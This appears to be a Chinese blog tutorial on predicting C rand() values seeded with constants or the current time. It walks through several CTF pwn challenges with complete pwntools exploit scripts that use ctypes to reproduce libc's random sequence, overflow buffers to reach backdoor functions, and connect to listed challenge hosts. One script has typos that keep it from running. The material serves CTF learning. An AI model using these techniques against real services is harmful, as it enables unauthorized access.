关于伪随机数学习分享

0x01 生成随机数的函数

在c语言中会有这样几个函数
rand() srand()
他们会被用来做一些校验吧,所以我们平时遇到它的时候该怎么去绕过它从而得到我们想要的呢。
首先要了解一下他们:
在C语言中,srand() 函数用于初始化随机数生成器的种子。这个函数定义在 <stdlib.h> 头文件中,它的作用是为 rand() 函数提供一个初始值,从而影响 rand() 生成的随机数序列。
在C语言中,rand() 函数用于生成伪随机数。这个函数定义在 <stdlib.h> 头文件中,它返回一个非负的随机整数。返回值的范围是从 0RAND_MAXRAND_MAX<stdlib.h> 定义的一个宏,表示 rand() 函数能生成的最大随机数。

基本用法

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    // 初始化随机数生成器
    srand((unsigned int)time(NULL));

    // 生成随机数
    int random_number = rand();
    printf("随机数: %d\n", random_number);

    return 0;
}
  • srand() 函数接受一个 unsigned int 类型的参数,这个参数作为随机数生成的种子。
  • 随机数生成器的种子决定了 rand() 函数生成的随机数序列。相同的种子会导致 rand() 生成相同的随机数序列。
    • 在示例中,srand((unsigned int)time(NULL)); 使用当前时间(秒级)作为种子。time(NULL) 返回自 Unix 纪元(1970年1月1日)以来的秒数。
  • 通过使用当前时间作为种子,可以确保每次程序运行时生成的随机数序列都是不同的,因为每次运行的时间都不同。
    • 在调用 srand() 初始化随机数生成器后,可以使用 rand() 函数生成随机数。rand() 返回一个非负的随机整数,范围是从 0RAND_MAX

生成指定范围的随机数

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    // 初始化随机数生成器
    srand((unsigned int)time(NULL));

    // 生成1到10之间的随机数
    int random_number = rand() % 10 + 1;
    printf("1到10之间的随机数: %d\n", random_number);

    return 0;
}
  • srand((unsigned int)time(NULL)); 使用当前时间作为种子,初始化随机数生成器。
  • rand() % 10 + 1 生成一个范围在 110 之间的随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
    int v1;
    srand(1);
    for(int i=0;i<=98;i++){
        v1=(rand() % 100 + 1);
        printf("%d ",v1);
    }
    return 0;
}

--
输出结果是一样的,那么就是可以进行绕过的

0x02 对伪随机数的绕过

针对于随机数在python中有一个库,如果想要深入了解可以去看一下

首先,我们创建的随机数,是有种子的,有种子我们就可以利用c语言去获得上面所展示的随机数内容,然后就可以根据得到的随机数去进行绕过了。
而ctypes这个库就是用于载入动态连接库,然后通过其中的模块来进行撞库,如果是知道种子的情况下容易达成,如果是时间种子的情况下会存在时间不对的情况,所以会存在更多种情况。
那么怎么去利用这个库去绕过随机数呢,下面通过例题来讲解。

例题讲解

pwnner

可以看到是64位

看一下漏洞函数

可以看到,也是有后门函数的

那么就可以使用ctypes ,这里来看exp

from pwn import *
from ctypes import *
p=remote("node5.anna.nssctf.cn",29528)
my_libc=cdll.LoadLibrary("libc.so.6")
my_libc.srand(0x39)               #自动计算随机数
payload1=str(my_libc.rand()).encode("utf-8")
p.sendline(payload1)
payload=b'a'*72 +p64(0x4008B2)
p.sendline(payload)
p.interactive()

这里是使用ctypes去加载 libc.so.6 然后调用标准库中的srand函数,设置种子为0x39,来生成可预测的随机数列

payload1 = str(my_libc.rand()).encode('utf-8')

这个是把生成的随机数列编码为utf-8的格式发送过去,下面就简单了,就是单纯的溢出就可以了。当然还有一种解法就是直接自己算出随机数。这里写一个生成随机数的

#include<stdio.h>
#include<stdlib.h>
int main(){
int a;
srand(0x39);
printf("%d",rand());
}


这里就可以看到生成的随机数了,所以也就可以对题目进行绕过

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote('node5.anna.nssctf.cn',29388)
payload = b'a'*72+p64(0x4008B2)
p.sendlineafter(b'name',b'1956681178')
p.sendlineafter(b'next?',payload)
p.interactive()

真男人下120层

这里也是有两个解法,不过用c语言写的话很明显会很麻烦,不如直接使用 ctypes 库
首先看一下主函数,这里 v3 是获取当前时间,并作为随机数生成的种子,srand(v3) 用当前时间初始化随机数生成器, v4 = rand() 生成一个随机数,srand(v4 % 3 - 1522127470) 来生成,下面就是开始一个循环,循环120次,读入一个整数,检测 随机生成1-4之间的随机数,如果用户的选择不匹配,则游戏结束。如果用户到达120次以后就可以拿到flag了


这里看写法

from pwn import *
from ctypes import *
p = remote('node4.anna.nssctf.cn',28052)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
shu = libc.rand()%3 -1522127470
libc.srand(shu)
for i in range(120):
    t = libc.rand() % 4 + 1
    p.sendline(str(t).encode())
p.interactive()

首先这里是加载libc,然后调用libc中的srand函数,其中种子是为当前时间 (libc.time(0)) 根据反编译的伪代码得知,程序把得到的随机数又进行了一次计算,是 v4 % 3 - 1522127470,所以我们这里也要进行这样的计算,然后赋值给 shu ,再调用libc.srand(shu) 把经过计算后的随机数当作种子来生成随机数。

for i in range(120):
    t = libc.rand() % 4 + 1
    p.sendline(str(t).encode())

这里的话就很明显是为了绕过下面循环的120次,只要到了120就可以拿到flag了

dice_game

这里可以看到开了nx 和 pie

再来看一下主函数,这里是获取了当前时间为种子,然后刷新缓冲区,读入0x50个字节,buf只有50,有溢出,然后下面会触发随机数,下面一个循环,检测通过50次就可以了


from pwn import *
from ctypes import *
context.log_level = 'debug'
p = remote('61.147.171.105',57855)
libc = cdll.LoadLibrary('./libc.so.6')
payload = b'a'*0x40 + p64(0)
p.sendlineafter('name',payload)
res = []
for i in range(50):
    res.append(libc.rand()%6+1)
for point in res:
    p.sendlineafter('point(1~6):',str(point))
p.interactive()

这里是覆盖seed,然后自己生成

ez_game

这里是给了后门的,主要难点是在于循环20000次,所以主要看写法

把随机数绕过去就可以拿到shell了

from pwn import *
from ctypes import *
p = remote()
p.sendlineafter('username:',b'a'*8)
libc = call.LoadLibray('./libc.so.6)
libc.srand(1)
res = []
for i in range(20001):
    res.append(libc.rand() % 7 + 1)
for a in res:
    p.sendlinearfer('guess:',str(a))
p.interactive()

正常想法是这样来写,但是题目限制了14秒,这样写很明显是跑不完了,所以这里就要考虑到代码速度优化的问题,这个代码如果说不进行限制时间的话肯定是可以通过的。

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', )
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(1)
res = []
for i in range(20001):
    res.append(libc.rand() % 7 + 1)
p = remote('27.25.151.12',33356)
p.sendlineafter('username:',b'a'*8)
for a in res:
    p.sendline(str(a))
p.interactive()

这里就是经过优化的代码了,很明显是把数据的处理放到了前面先处理好,然后再进行发送数据,而且在下面发送随机数那里是直接发送过去,不等待回显,回显也会浪费时间,所以这里就是会快很多,就可以拿到flag了

总结

关于随机数绕过的,有了ctypes 库以后方便了很多,不用自己去写c语言生成随机数了。所以可以多去学习使用一下

0 条评论
某人
表情
可输入 255